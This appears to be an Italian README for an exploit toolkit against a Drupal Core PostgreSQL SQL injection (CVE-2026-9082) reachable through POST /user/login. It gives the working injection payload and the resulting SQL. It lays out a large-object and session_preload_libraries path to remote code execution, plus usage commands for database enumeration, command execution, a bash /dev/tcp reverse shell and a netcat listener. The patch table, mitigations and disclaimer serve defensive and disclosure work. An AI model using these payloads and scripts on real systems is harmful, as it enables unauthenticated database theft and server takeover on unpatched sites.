
Drupal Core PostgreSQL da SQLi a RCE tramite /user/login (CVE-2026-9082 / SA-CORE-2026-004)
Iniezione SQL non autenticata in Drupal Core su PostgreSQL tramite POST /user/login, escalata a esecuzione remota di codice attraverso session_preload_libraries di PostgreSQL.
A differenza degli exploit pubblici esistenti che prendono di mira JSON:API, questo utilizza l'endpoint di login — sempre disponibile, senza necessità di moduli o contenuti pubblicati.
Avviso: SA-CORE-2026-004 | Rischio: 23/25 (Altamente Critico) | CISA KEV
Solo i siti Drupal basati su PostgreSQL sono vulnerabili.
| Ramo | Vulnerabile | Corretto |
|---|---|---|
| 11.3.x | < 11.3.10 | 11.3.10 |
| 11.2.x | < 11.2.12 | 11.2.12 |
| 11.0.x - 11.1.x | < 11.1.10 | 11.1.10 |
| 10.6.x | < 10.6.9 | 10.6.9 |
| 10.5.x | < 10.5.10 | 10.5.10 |
| 10.4.x | < 10.4.10 | 10.4.10 |
| 8.9.x - 10.3.x | Tutte | Fine vita - aggiornare |
Il gestore delle condizioni delle query entity di PostgreSQL in Drupal (core/modules/pgsql/src/EntityQuery/Condition.php) costruisce condizioni IN senza distinzione tra maiuscole e minuscole iterando $condition['value'] come array associativo e concatenando chiavi controllate dall'utente direttamente negli identificatori dei placeholder PDO — il SQL generato contiene LOWER(:<prefix><key>) dove <key> proviene così com'è dall'attaccante.
Questo percorso di codice viene raggiunto solo quando sono soddisfatte due condizioni: is_array($condition['value']) e $case_sensitive === FALSE. Ecco perché solo PostgreSQL è interessato — MySQL e SQLite non hanno questo ramo LOWER() senza distinzione tra maiuscole e minuscole.
Il parser dei parametri nominativi di PDO riconosce solo [a-zA-Z0-9_] dopo i :. I caratteri al di fuori di quel set (come | o )) terminano il token del placeholder. Quindi una chiave come 0||(subquery) produce un placeholder :prefix0 (condiviso con la chiave legittima 0) più il SQL letterale ||(subquery) che raggiunge PostgreSQL senza parametrizzazione.
La correzione è una singola chiamata array_values() che scarta le chiavi fornite dall'attaccante prima della generazione del SQL.
/user/login)POST /user/login?_format=json
{
"name": {
"0": "x",
"0||(SELECT CAST((SELECT version()) AS int))": "x"
},
"pass": "x"
}
Il campo name viene inviato come oggetto JSON invece che come stringa. Drupal lo passa in una condizione IN della query entity con confronto senza distinzione tra maiuscole e minuscole. Per ogni chiave dell'array, Drupal genera LOWER(:<prefix><key>) nel SQL. La query risultante ha questo aspetto:
LOWER("users_field_data"."name") IN (
LOWER(:users_field_data_name0),
LOWER(:users_field_data_name0||(SELECT CAST((SELECT version()) AS int)))
)
PDO riconosce :users_field_data_name0 come il placeholder in entrambe le voci (fermandosi al | nella seconda) e lega entrambi a 'x'. Il resto ||(SELECT ...) passa come SQL letterale. Dopo la sostituzione, PostgreSQL riceve:
LOWER(name) IN (
LOWER('x'),
LOWER('x'||(SELECT CAST((SELECT version()) AS int)))
)
Il CAST(... AS int) fallisce su dati non interi, e il messaggio di errore divulga il risultato della query.
Quando l'utente del database è un superutente PostgreSQL, l'iniezione solo SELECT può essere escalata a RCE:
data_directory, lo stato di superutente.so nativo con _PG_init() che chiama system().so in data_directory tramite large objects (lo_create -> lo_put -> lo_export)postgresql.auto.conf per impostare session_preload_libraries e dynamic_library_pathpg_reload_conf()Iniezione SQL (cve_2026_9082_check.py):
Esecuzione remota di codice (cve_2026_9082_rce.py):
docker disponibile localmente (per la cross-compilazione su macOS)pip install -r requirements.txt
# Valida l'iniezione SQL
python3 cve_2026_9082_check.py http://target:8081
# Con un proxy (Burp, mitmproxy, ecc.)
python3 cve_2026_9082_check.py http://target:8081 --proxy http://127.0.0.1:8080
# Elenca tutti i database
python3 cve_2026_9082_sqli.py http://target:8081 --dbs
# Elenca le tabelle in un database
python3 cve_2026_9082_sqli.py http://target:8081 -D drupal --tables
# Elenca le colonne in una tabella
python3 cve_2026_9082_sqli.py http://target:8081 -D drupal -T users_field_data --columns
# Esegui un comando
python3 cve_2026_9082_rce.py http://target:8081 "id"
# Reverse shell
python3 cve_2026_9082_rce.py http://target:8081 \
"bash -c 'bash -i >& /dev/tcp/{lhost}/4444 0>&1'"
# Listener
nc -lvnp 4444
Validazione SQLi contro un'istanza vulnerabile:

Enumerazione del database tramite iniezione basata su errori:

Escalation a esecuzione remota di codice:

Aggiornare Drupal immediatamente a una versione corretta:
Se non puoi aggiornare subito:
POST /user/login con oggetti JSON nel campo namePatch e dettagli: SA-CORE-2026-004
| Data | Evento |
|---|---|
| 2026-05-20 | Drupal pubblica SA-CORE-2026-004, patch rilasciate |
| 2026-05-22 | Sfruttamento attivo in natura, aggiunto a CISA KEV |
| 2026-05-26 | Ambionics pubblica la tecnica SQLi-to-RCE tramite JSON:API |
| 2026-06-07 | Questo strumento rilasciato |
/user/login) descritto da bitk & jfellus (YesWeHack)session_preload_libraries) di N. Maccary / Ambionics (Lexfo)/user/login da r0m41nQuesto strumento è fornito esclusivamente per test di sicurezza autorizzati e scopi educativi.
L'accesso non autorizzato a sistemi informatici è illegale. L'autore non si assume alcuna responsabilità per un uso improprio di questo software. Ottenere sempre la debita autorizzazione prima di testare sistemi di cui non si è proprietari.
pg_read_file()